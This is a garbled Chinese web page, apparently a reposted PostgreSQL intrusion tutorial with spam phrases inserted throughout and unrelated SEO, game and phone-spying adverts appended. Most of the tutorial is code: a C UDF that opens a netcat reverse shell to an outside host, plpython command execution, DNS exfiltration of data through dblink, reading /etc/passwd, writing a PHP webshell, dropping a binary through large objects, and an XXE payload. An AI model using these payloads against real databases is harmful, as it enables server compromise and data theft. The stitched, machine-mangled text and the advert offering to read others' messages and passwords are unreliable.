大致和 MySQL 类似,有一些自变量不一样。实际就已不举例说明,能看这篇小结: *** 黑客大批量侵入网站教程
除此之外,运用 sqlmap 也是一个非常好的 *** 。
sqlmap 得出的好多个 UDF 在我当地检测并失败,因此更好是的方式是自身编译程序一个动态链接库。
依据官方网文本文档,我们要界定一个 PG_MODULE_MAGIC。在 PostgreSQL 这个是以便 Postgresql 的安全性体制(大约?),在 8.2 之后必须认证这一 magic block,要不然,在加进动态链接库的情况下会出错:黑客攻击网址初级教程
ERROR: incompatible library "xxx.so": missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
实行DOS命令的动态链接库源代码为:
#!c
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec()
{
system("nc -e /bin/bash 10.211.55.2 9999");
}
运用以下指令编译程序 .so 文档:
#!bash
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so
在 pgsql 里实行:
#!sql
CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();
监视的 9999 端口号获得一个 shell:
默认设置 PostgreSQL 不容易安裝 Python 的拓展,在 Ubuntu 下能够 根据:
#!bash
apt-get install postgresql-plpython-9.1
开展安裝,除开 python 的拓展,也有 sh、perl、ruby 这些。
安裝进行后,更先是建立一个 UDF 来实行我们要实行的指令:
#!sql
CREATE FUNCTION system (a text)
RETURNS text
AS $$
import os
return os.popen(a).read()
$$ LANGUAGE plpython2u;
在其中的 plpython2u 能够 运用以下句子获得:
select * from pg_language;
根据黑客攻击网址初级教程我们可以依据回到来分辨运用哪一个語言(plpython2u、plpythonu、plpython3u 这些)。
建立好 UDF 后,立即启用以下句子就可以:
#!sql
select system('ls -la');
除此之外,sh、ruby 等同样,能够 参照官方网文本文档来写一个 UDF。
一样的,PostgreSQL 能够 根据 DNS Request 一样读取数据,在盲注的状况下。采用的一个拓展称为 dblink
,能够 根据以下指令打开:
#!sql
C
REATE EXTENSION dblink
然后运作以下句子,获得当今数据库查询客户名字:
#!sql
SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
远程控制获得到恳求內容:
PostgreSQL 读取文件尽管一些睾丸疼,可是還是能够 载入的:
#!sql
CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;
载入完毕后:
#!sql
DROP TABLE temptable;
写文档分成2个一部分,一个是写 webshell,此外一个是写二进制文件。
写 webshell 十分简易,运用:黑客攻击网址初级教程=and
#!php
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
就可以写一个文档。
依据疯子的这一篇贴子:zone.wooyun.org/content/4971,说成能够 运用 PostgreSQL 的“大目标数据信息”来写,可是我检测是不成功的。出错以下:
#!bash
ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
用 COPY 的 FORMAT 位 binary 来写文档得话,会被 PostgreSQL 再加好多个字节数,造成不可以鉴别为 ELF 文档。
事实上,阅读文章官方网文本文档得知,写的文档每一页不可以超出 2KB,因此我们要把数据信息按段:
#!sql
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INT
O pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);
在其中每一段必须不大于 2KB,那样就可以取得成功载入:
老版本的 PostgreSQL 存有 XXE 系统漏洞。实际能看本文: *** 黑客网站入侵初级教程
大致便是实行句子:
#!sql
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
能够 获得一些数据信息,还可以开展 SSRF 等。但是由于时代好长时间,将会许多 都修补已过,因此做为一个保存计划方案,将会会出现意外之喜。
谢盼龙给各位SEO优化ER送福利来了,最近很多SEO优化都想要SEO优化教程电子书版,因为网上虽然有很多SEO优化教程,但是还是没有一套完整的有序的电子书方便学习和观看,所以为了解决这个SEO优化...
求生之路2联机教程?求生之路2怎么联网玩?求生之路是一款非常棒的单机游戏,不过可以在局域网还有网上对战,但是很多玩家都不知道怎么去联网玩,那么这里大致说一下! 求生之路2如果是局域网玩的话可以打开控...
购置安卓系统手机后,一些泼懂技术的人群常常会因为是否ROOT而犹豫不决,没有尝试过ROOT后获取全部手机权限的滋味,自然心理痒痒的,但是又听说ROOT后有种种不好效果,比如删除系统文件无法正常运行手机...
seo需不需要文采好:做seo综合本领需要很强吗,又要懂代码,又要有文学功底? 百度它只能满意一部门用户的需求,原因是要害词在不绝的变革中,百度在第一时间照旧没有步伐把最切合的需求揭示给用户,很大部门...
《英雄联盟》自从更新了新版客户端之后,虽然确实有很多新功能,不过问题也越来越多,比如观战系统崩溃、回放丢失、任务重复提示之类的问题…… 最近常常就有玩家发帖称自己的炫彩皮肤...
1 在手机上打开wifi信号自动连接类应用,待连接成功后,进入手机的 设置 2 在设置列表中可以看到已经连接的WLAN信号名称,如果你需要查询是手机的短信,微信记录,微信密码,非常专业,团队...